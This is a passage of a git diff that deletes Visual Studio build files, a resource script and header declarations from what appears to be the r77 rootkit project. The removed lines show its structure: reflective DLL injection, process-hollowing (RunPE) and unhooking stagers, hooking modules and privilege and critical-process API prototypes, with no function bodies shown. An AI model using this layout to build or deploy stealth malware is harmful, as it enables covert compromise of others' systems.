process. -VOID ControlPipeListener(CONTROLCALLBACK callback); - -#ifdef EXPORT_REFLECTIVE_DLL_MAIN -/// -/// Position independent shellcode that loads the DLL after it was written to the remote process memory. -/// This is the main entry point for reflective DLL injection. -/// -/// A pointer to the beginning of the DLL file. -/// -/// If this function succeeds, the return value of DllMain; -/// otherwise, FALSE. -/// -__declspec(dllexport) BOOL WINAPI ReflectiveDllMain(LPBYTE dllBase); -#endif - -namespace nt -{ - NTSTATUS NTAPI NtQueryObject(HANDLE handle, nt::OBJECT_INFORMATION_CLASS objectInformationClass, LPVOID objectInformation, ULONG objectInformationLength, PULONG returnLength); - NTSTATUS NTAPI NtCreateThreadEx(PHANDLE thread, ACCESS_MASK desiredAccess, LPVOID objectAttributes, HANDLE processHandle, LPVOID startAddress, LPVOID parameter, ULONG flags, SIZE_T stackZeroBits, SIZE_T sizeOfStackCommit, SIZE_T sizeOfStackReserve, LPVOID bytesBuffer); - NTSTATUS NTAPI RtlAdjustPrivilege(ULONG privilege, BOOLEAN enablePrivilege, BOOLEAN isThreadPrivilege, PBOOLEAN previousValue); - NTSTATUS NTAPI RtlSetProcessIsCritical(BOOLEAN newIsCritical, PBOOLEAN oldIsCritical, BOOLEAN needScb); -} - -// Shellcode variants of libc functions; Used by the reflective loader, prior to any DLL's being loaded -namespace libc -{ - VOID memcpy(LPBYTE dest, LPBYTE src, DWORD size); - DWORD strhash(LPCSTR str); - DWORD strhashi(LPCSTR str, USHORT length); -} \ No newline at end of file diff --git a/vs/Helper32/Helper32.vcxproj.filters b/vs/Helper32/Helper32.vcxproj.filters deleted file mode 100644 index ac7adc0..0000000 --- a/vs/Helper32/Helper32.vcxproj.filters +++ /dev/null @@ -1,12 +0,0 @@ - - - - - - - - - - - - \ No newline at end of file diff --git a/vs/Helper64/Helper64.vcxproj.filters b/vs/Helper64/Helper64.vcxproj.filters deleted file mode 100644 index ac7adc0..0000000 --- a/vs/Helper64/Helper64.vcxproj.filters +++ /dev/null @@ -1,12 +0,0 @@ - - - - - - - - - - - - \ No newline at end of file diff --git a/vs/Install/Resource.rc b/vs/Install/Resource.rc deleted file mode 100644 index d4a1e57..0000000 --- a/vs/Install/Resource.rc +++ /dev/null @@ -1,69 +0,0 @@ -// Microsoft Visual C++ generated resource script. -// -#include "resource.h" - -#define APSTUDIO_READONLY_SYMBOLS -///////////////////////////////////////////////////////////////////////////// -// -// Generated from the TEXTINCLUDE 2 resource. -// -#include "winres.h" - -///////////////////////////////////////////////////////////////////////////// -#undef APSTUDIO_READONLY_SYMBOLS - -///////////////////////////////////////////////////////////////////////////// -// English (United States) resources - -#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENU) -LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US -#pragma code_page(1252) - -#ifdef APSTUDIO_INVOKED -///////////////////////////////////////////////////////////////////////////// -// -// TEXTINCLUDE -// - -1 TEXTINCLUDE -BEGIN - "resource.h\0" -END - -2 TEXTINCLUDE -BEGIN - "#include ""winres.h""\r\n" - "\0" -END - -3 TEXTINCLUDE -BEGIN - "\r\n" - "\0" -END - -#endif // APSTUDIO_INVOKED - - -///////////////////////////////////////////////////////////////////////////// -// -// EXE -// - -IDR_INSTALLSTAGER EXE "Resources\\InstallStager.exe" - -#endif // English (United States) resources -///////////////////////////////////////////////////////////////////////////// - - - -#ifndef APSTUDIO_INVOKED -///////////////////////////////////////////////////////////////////////////// -// -// Generated from the TEXTINCLUDE 3 resource. -// - - -///////////////////////////////////////////////////////////////////////////// -#endif // not APSTUDIO_INVOKED - diff --git a/vs/InstallService32/InstallService32.vcxproj.filters b/vs/InstallService32/InstallService32.vcxproj.filters deleted file mode 100644 index 465ddd7..0000000 --- a/vs/InstallService32/InstallService32.vcxproj.filters +++ /dev/null @@ -1,26 +0,0 @@ - - - - - - - - - - - - - - - {d2e0541b-9b37-4d4c-862a-dc53df8eeb06} - - - - - Resources - - - - - - \ No newline at end of file diff --git a/vs/InstallService64/InstallService64.vcxproj.filters b/vs/InstallService64/InstallService64.vcxproj.filters deleted file mode 100644 index 10c7de7..0000000 --- a/vs/InstallService64/InstallService64.vcxproj.filters +++ /dev/null @@ -1,26 +0,0 @@ - - - - - - - - - - - - - - - {1e8b5ac9-65cd-4e5b-9f1e-0319a40a805d} - - - - - Resources - - - - - - \ No newline at end of file diff --git a/vs/InstallService64/resource.h b/vs/InstallService64/resource.h deleted file mode 100644 index e75db33..0000000 --- a/vs/InstallService64/resource.h +++ /dev/null @@ -1,16 +0,0 @@ -//{{NO_DEPENDENCIES}} -// Microsoft Visual C++ generated include file. -// Used by Resource.rc -// -#define IDR_R77 101 - -// Next default values for new objects -// -#ifdef APSTUDIO_INVOKED -#ifndef APSTUDIO_READONLY_SYMBOLS -#define _APS_NEXT_RESOURCE_VALUE 102 -#define _APS_NEXT_COMMAND_VALUE 40001 -#define _APS_NEXT_CONTROL_VALUE 1001 -#define _APS_NEXT_SYMED_VALUE 101 -#endif -#endif diff --git a/vs/Uninstall64/Uninstall64.vcxproj.filters b/vs/Uninstall64/Uninstall64.vcxproj.filters deleted file mode 100644 index 2ae8806..0000000 --- a/vs/Uninstall64/Uninstall64.vcxproj.filters +++ /dev/null @@ -1,12 +0,0 @@ - - - - - - - - - - - - \ No newline at end of file diff --git a/vs/r77-x64/r77-x64.vcxproj.filters b/vs/r77-x64/r77-x64.vcxproj.filters deleted file mode 100644 index 5118ba7..0000000 --- a/vs/r77-x64/r77-x64.vcxproj.filters +++ /dev/null @@ -1,27 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/vs/r77-x86/r77-x86.vcxproj.filters b/vs/r77-x86/r77-x86.vcxproj.filters deleted file mode 100644 index 76cc4df..0000000 --- a/vs/r77-x86/r77-x86.vcxproj.filters +++ /dev/null @@ -1,27 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/vs/r77.sln b/vs/r77.sln deleted file mode 100644 index 0303176..0000000 --- a/vs/r77.sln +++ /dev/null @@ -1,233 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 12.00 -# Visual Studio Version 17 -VisualStudioVersion = 17.1.32328.378 -MinimumVisualStudioVersion = 10.0.40219.1 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TestConsole", "TestConsole\TestConsole.csproj", "{E55F7214-8CC4-4E1D-AEDB-C908D23902A4}" - ProjectSection(ProjectDependencies) = postProject - {78BB6D02-6E02-4933-89DC-4AD8EE0B303F} = {78BB6D02-6E02-4933-89DC-4AD8EE0B303F} - {1BA54A13-B390-47B3-9628-B58A2BBA193B} = {1BA54A13-B390-47B3-9628-B58A2BBA193B} - {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F} = {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F} - {06AF1D64-F2FC-4767-8794-7313C7BB0A40} = {06AF1D64-F2FC-4767-8794-7313C7BB0A40} - EndProjectSection -EndProject -Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "SlnBin", "SlnBin", "{AA27A8EA-A3AF-4E2E-904B-4D52E76C93B3}" - ProjectSection(SolutionItems) = preProject - ..\SlnBin\BytecodeApi.dll = ..\SlnBin\BytecodeApi.dll - ..\SlnBin\BytecodeApi.UI.dll = ..\SlnBin\BytecodeApi.UI.dll - ..\SlnBin\BytecodeApi.UI.xml = ..\SlnBin\BytecodeApi.UI.xml - ..\SlnBin\BytecodeApi.xml = ..\SlnBin\BytecodeApi.xml - EndProjectSection -EndProject -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "r77-x64", "r77-x64\r77-x64.vcxproj", "{06AF1D64-F2FC-4767-8794-7313C7BB0A40}" -EndProject -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "r77-x86", "r77-x86\r77-x86.vcxproj", "{1BA54A13-B390-47B3-9628-B58A2BBA193B}" -EndProject -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Uninstall", "Uninstall\Uninstall.vcxproj", "{F0005D08-6278-4BFE-B492-F86CCEC797D5}" - ProjectSection(ProjectDependencies) = postProject - {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0} = {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0} - {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} = {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} - EndProjectSection -EndProject -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Uninstall64", "Uninstall64\Uninstall64.vcxproj", "{00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}" - ProjectSection(ProjectDependencies) = postProject - {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} = {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} - EndProjectSection -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Example", "Example\Example.csproj", "{86F8C733-F773-4AD8-9282-3F99953261FD}" -EndProject -Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "src", "src", "{F9ACA875-3756-47C7-ACA6-4AE8C07428CB}" - ProjectSection(SolutionItems) = preProject - ..\src\GlobalAssemblyInfo.cs = ..\src\GlobalAssemblyInfo.cs - ..\src\ntdll.h = ..\src\ntdll.h - ..\src\r77api.cpp = ..\src\r77api.cpp - ..\src\r77api.h = ..\src\r77api.h - EndProjectSection -EndProject -Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "r77", "r77", "{F9701B99-C959-4B41-A333-2E5A819DE7D6}" - ProjectSection(SolutionItems) = preProject - ..\src\r77\Config.cpp = ..\src\r77\Config.cpp - ..\src\r77\Config.h = ..\src\r77\Config.h - ..\src\r77\detours.h = ..\src\r77\detours.h - ..\src\r77\Hooks.cpp = ..\src\r77\Hooks.cpp - ..\src\r77\Hooks.h = ..\src\r77\Hooks.h - ..\src\r77\r77.h = ..\src\r77\r77.h - ..\src\r77\Register.cpp = ..\src\r77\Register.cpp - ..\src\r77\Register.h = ..\src\r77\Register.h - ..\src\r77\Rootkit.cpp = ..\src\r77\Rootkit.cpp - ..\src\r77\Rootkit.h = ..\src\r77\Rootkit.h - EndProjectSection -EndProject -Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Uninstall", "Uninstall", "{5CD983ED-1FDF-4F02-9824-4DE63AD30A30}" - ProjectSection(SolutionItems) = preProject - ..\src\Uninstall\Uninstall.cpp = ..\src\Uninstall\Uninstall.cpp - ..\src\Uninstall\Uninstall.h = ..\src\Uninstall\Uninstall.h - EndProjectSection -EndProject -Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Uninstall64", "Uninstall64", "{5A578679-90DA-4CAE-A27F-C9A6E5FDAA0A}" - ProjectSection(SolutionItems) = preProject - ..\src\Uninstall64\Uninstall64.cpp = ..\src\Uninstall64\Uninstall64.cpp - ..\src\Uninstall64\Uninstall64.h = ..\src\Uninstall64\Uninstall64.h - EndProjectSection -EndProject -Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "x64", "x64", "{9E4A0D38-D955-4858-8E0A-533DE4468296}" - ProjectSection(SolutionItems) = preProject - ..\SlnBin\x64\detours.lib = ..\SlnBin\x64\detours.lib - ..\SlnBin\x64\detours.pdb = ..\SlnBin\x64\detours.pdb - EndProjectSection -EndProject -Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "x86", "x86", "{3CA151CE-92D7-41B8-98E3-AA8FF632A9D6}" - ProjectSection(SolutionItems) = preProject - ..\SlnBin\x86\detours.lib = ..\SlnBin\x86\detours.lib - ..\SlnBin\x86\detours.pdb = ..\SlnBin\x86\detours.pdb - EndProjectSection -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "BuildTask", "BuildTask\BuildTask.csproj", "{AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}" -EndProject -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Install", "Install\Install.vcxproj", "{BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE}" - ProjectSection(ProjectDependencies) = postProject - {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7} = {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7} - {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} = {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} - EndProjectSection -EndProject -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "InstallService32", "InstallService32\InstallService32.vcxproj", "{7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}" - ProjectSection(ProjectDependencies) = postProject - {1BA54A13-B390-47B3-9628-B58A2BBA193B} = {1BA54A13-B390-47B3-9628-B58A2BBA193B} - {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} = {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} - EndProjectSection -EndProject -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "InstallService64", "InstallService64\InstallService64.vcxproj", "{E3104B33-DB3D-4C83-B393-1E05E1FF2B10}" - ProjectSection(ProjectDependencies) = postProject - {06AF1D64-F2FC-4767-8794-7313C7BB0A40} = {06AF1D64-F2FC-4767-8794-7313C7BB0A40} - {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} = {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} - EndProjectSection -EndProject -Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Install", "Install", "{EDF82557-A8A0-4D3B-8EEA-876AA31D5BE7}" - ProjectSection(SolutionItems) = preProject - ..\src\Install\Install.cpp = ..\src\Install\Install.cpp - ..\src\Install\Install.h = ..\src\Install\Install.h - EndProjectSection -EndProject -Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "InstallService", "InstallService", "{F4C656D1-8E26-4B38-96B8-3BF21BA2637C}" - ProjectSection(SolutionItems) = preProject - ..\src\InstallService\InstallService.cpp = ..\src\InstallService\InstallService.cpp - ..\src\InstallService\InstallService.h = ..\src\InstallService\InstallService.h - EndProjectSection -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "InstallStager", "InstallStager\InstallStager.csproj", "{4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}" - ProjectSection(ProjectDependencies) = postProject - {E3104B33-DB3D-4C83-B393-1E05E1FF2B10} = {E3104B33-DB3D-4C83-B393-1E05E1FF2B10} - {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA} = {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA} - EndProjectSection -EndProject -Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "InstallStager", "InstallStager", "{FB4DDDB6-6A4F-45E1-9B15-17477CCB3631}" - ProjectSection(SolutionItems) = preProject - ..\src\InstallStager\Helper.cs = ..\src\InstallStager\Helper.cs - ..\src\InstallStager\InstallStager.cs = ..\src\InstallStager\InstallStager.cs - ..\src\InstallStager\RunPE.cs = ..\src\InstallStager\RunPE.cs - ..\src\InstallStager\Unhook.cs = ..\src\InstallStager\Unhook.cs - EndProjectSection -EndProject -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Helper32", "Helper32\Helper32.vcxproj", "{2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}" - ProjectSection(ProjectDependencies) = postProject - {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} = {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} - EndProjectSection -EndProject -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Helper64", "Helper64\Helper64.vcxproj", "{78BB6D02-6E02-4933-89DC-4AD8EE0B303F}" - ProjectSection(ProjectDependencies) = postProject - {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} = {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} - EndProjectSection -EndProject -Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Helper", "Helper", "{DEB2910E-1CBA-4E1B-AEC0-BAD6A325983F}" - ProjectSection(SolutionItems) = preProject - ..\src\Helper\Helper.cpp = ..\src\Helper\Helper.cpp - ..\src\Helper\Helper.h = ..\src\Helper\Helper.h - EndProjectSection -EndProject -Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "InstallShellcode", "InstallShellcode", "{43D1C7C4-FE5D-4758-A86C-28DA780D46F0}" - ProjectSection(SolutionItems) = preProject - ..\src\InstallShellcode\InstallShellcode.asm = ..\src\InstallShellcode\InstallShellcode.asm - ..\src\InstallShellcode\nt.inc = ..\src\InstallShellcode\nt.inc - ..\src\InstallShellcode\PebApi.asm = ..\src\InstallShellcode\PebApi.asm - ..\src\InstallShellcode\PebApi.inc = ..\src\InstallShellcode\PebApi.inc - ..\src\InstallShellcode\RunPE.asm = ..\src\InstallShellcode\RunPE.asm - EndProjectSection -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {E55F7214-8CC4-4E1D-AEDB-C908D23902A4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {E55F7214-8CC4-4E1D-AEDB-C908D23902A4}.Debug|Any CPU.Build.0 = Debug|Any CPU - {E55F7214-8CC4-4E1D-AEDB-C908D23902A4}.Release|Any CPU.ActiveCfg = Release|Any CPU - {E55F7214-8CC4-4E1D-AEDB-C908D23902A4}.Release|Any CPU.Build.0 = Release|Any CPU - {06AF1D64-F2FC-4767-8794-7313C7BB0A40}.Debug|Any CPU.ActiveCfg = Debug|x64 - {06AF1D64-F2FC-4767-8794-7313C7BB0A40}.Debug|Any CPU.Build.0 = Debug|x64 - {06AF1D64-F2FC-4767-8794-7313C7BB0A40}.Release|Any CPU.ActiveCfg = Release|x64 - {06AF1D64-F2FC-4767-8794-7313C7BB0A40}.Release|Any CPU.Build.0 = Release|x64 - {1BA54A13-B390-47B3-9628-B58A2BBA193B}.Debug|Any CPU.ActiveCfg = Debug|Win32 - {1BA54A13-B390-47B3-9628-B58A2BBA193B}.Debug|Any CPU.Build.0 = Debug|Win32 - {1BA54A13-B390-47B3-9628-B58A2BBA193B}.Release|Any CPU.ActiveCfg = Release|Win32 - {1BA54A13-B390-47B3-9628-B58A2BBA193B}.Release|Any CPU.Build.0 = Release|Win32 - {F0005D08-6278-4BFE-B492-F86CCEC797D5}.Debug|Any CPU.ActiveCfg = Debug|Win32 - {F0005D08-6278-4BFE-B492-F86CCEC797D5}.Debug|Any CPU.Build.0 = Debug|Win32 - {F0005D08-6278-4BFE-B492-F86CCEC797D5}.Release|Any CPU.ActiveCfg = Release|Win32 - {F0005D08-6278-4BFE-B492-F86CCEC797D5}.Release|Any CPU.Build.0 = Release|Win32 - {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}.Debug|Any CPU.ActiveCfg = Debug|x64 - {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}.Debug|Any CPU.Build.0 = Debug|x64 - {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}.Release|Any CPU.ActiveCfg = Release|x64 - {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}.Release|Any CPU.Build.0 = Release|x64 - {86F8C733-F773-4AD8-9282-3F99953261FD}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {86F8C733-F773-4AD8-9282-3F99953261FD}.Debug|Any CPU.Build.0 = Debug|Any CPU - {86F8C733-F773-4AD8-9282-3F99953261FD}.Release|Any CPU.ActiveCfg = Release|Any CPU - {86F8C733-F773-4AD8-9282-3F99953261FD}.Release|Any CPU.Build.0 = Release|Any CPU - {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}.Debug|Any CPU.Build.0 = Debug|Any CPU - {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}.Release|Any CPU.ActiveCfg = Release|Any CPU - {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}.Release|Any CPU.Build.0 = Release|Any CPU - {BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE}.Debug|Any CPU.ActiveCfg = Debug|Win32 - {BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE}.Debug|Any CPU.Build.0 = Debug|Win32 - {BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE}.Release|Any CPU.ActiveCfg = Release|Win32 - {BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE}.Release|Any CPU.Build.0 = Release|Win32 - {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}.Debug|Any CPU.ActiveCfg = Debug|Win32 - {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}.Debug|Any CPU.Build.0 = Debug|Win32 - {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}.Release|Any CPU.ActiveCfg = Release|Win32 - {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}.Release|Any CPU.Build.0 = Release|Win32 - {E3104B33-DB3D-4C83-B393-1E05E1FF2B10}.Debug|Any CPU.ActiveCfg = Debug|x64 - {E3104B33-DB3D-4C83-B393-1E05E1FF2B10}.Debug|Any CPU.Build.0 = Debug|x64 - {E3104B33-DB3D-4C83-B393-1E05E1FF2B10}.Release|Any CPU.ActiveCfg = Release|x64 - {E3104B33-DB3D-4C83-B393-1E05E1FF2B10}.Release|Any CPU.Build.0 = Release|x64 - {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}.Debug|Any CPU.Build.0 = Debug|Any CPU - {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}.Release|Any CPU.ActiveCfg = Release|Any CPU - {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}.Release|Any CPU.Build.0 = Release|Any CPU - {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}.Debug|Any CPU.ActiveCfg = Debug|Win32 - {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}.Debug|Any CPU.Build.0 = Debug|Win32 - {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}.Release|Any CPU.ActiveCfg = Release|Win32 - {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}.Release|Any CPU.Build.0 = Release|Win32 - {78BB6D02-6E02-4933-89DC-4AD8EE0B303F}.Debug|Any CPU.ActiveCfg = Debug|x64 - {78BB6D02-6E02-4933-89DC-4AD8EE0B303F}.Debug|Any CPU.Build.0 = Debug|x64 - {78BB6D02-6E02-4933-89DC-4AD8EE0B303F}.Release|Any CPU.ActiveCfg = Release|x64 - {78BB6D02-6E02-4933-89DC-4AD8EE0B303F}.Release|Any CPU.Build.0 = Release|x64 - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection - GlobalSection(NestedProjects) = preSolution - {F9701B99-C959-4B41-A333-2E5A819DE7D6} = {F9ACA875-3756-47C7-ACA6-4AE8C07428CB} - {5CD983ED-1FDF-4F02-9824-4DE63AD30A30} = {F9ACA875-3756-47C7-ACA6-4AE8C07428CB} - {5A578679-90DA-4CAE-A27F-C9A6E5FDAA0A} = {F9ACA875-3756-47C7-ACA6-4AE8C07428CB} - {9E4A0D38-D955-4858-8E0A-533DE4468296} = {AA27A8EA-A3AF-4E2E-904B-4D52E76C93B3} - {3CA151CE-92D7-41B8-98E3-AA8FF632A9D6} = {AA27A8EA-A3AF-4E2E-904B-4D52E76C93B3} - {EDF82557-A8A0-4D3B-8EEA-876AA31D5BE7} = {F9ACA875-3756-47C7-ACA6-4AE8C07428CB} - {F4C656D1-8E26-4B38-96B8-3BF21BA2637C} = {F9ACA875-3756-47C7-ACA6-4AE8C07428CB} - {FB4DDDB6-6A4F-45E1-9B15-17477CCB3631} = {F9ACA875-3756-47C7-ACA6-4AE8C07428CB} - {DEB2910E-1CBA-4E1B-AEC0-BAD6A325983F} = {F9ACA875-3756-47C7-ACA6-4AE8C07428CB} - {43D1C7C4-FE5D-4758-A86C-28DA780D46F0} = {F9ACA875-3756-47C7-ACA6-4AE8C07428CB} - EndGlobalSection - GlobalSection(ExtensibilityGlobals) = postSolution - SolutionGuid = {A070C206-A2CD-4C8A-878F-A43650D1A3B1} - EndGlobalSection -EndGlobal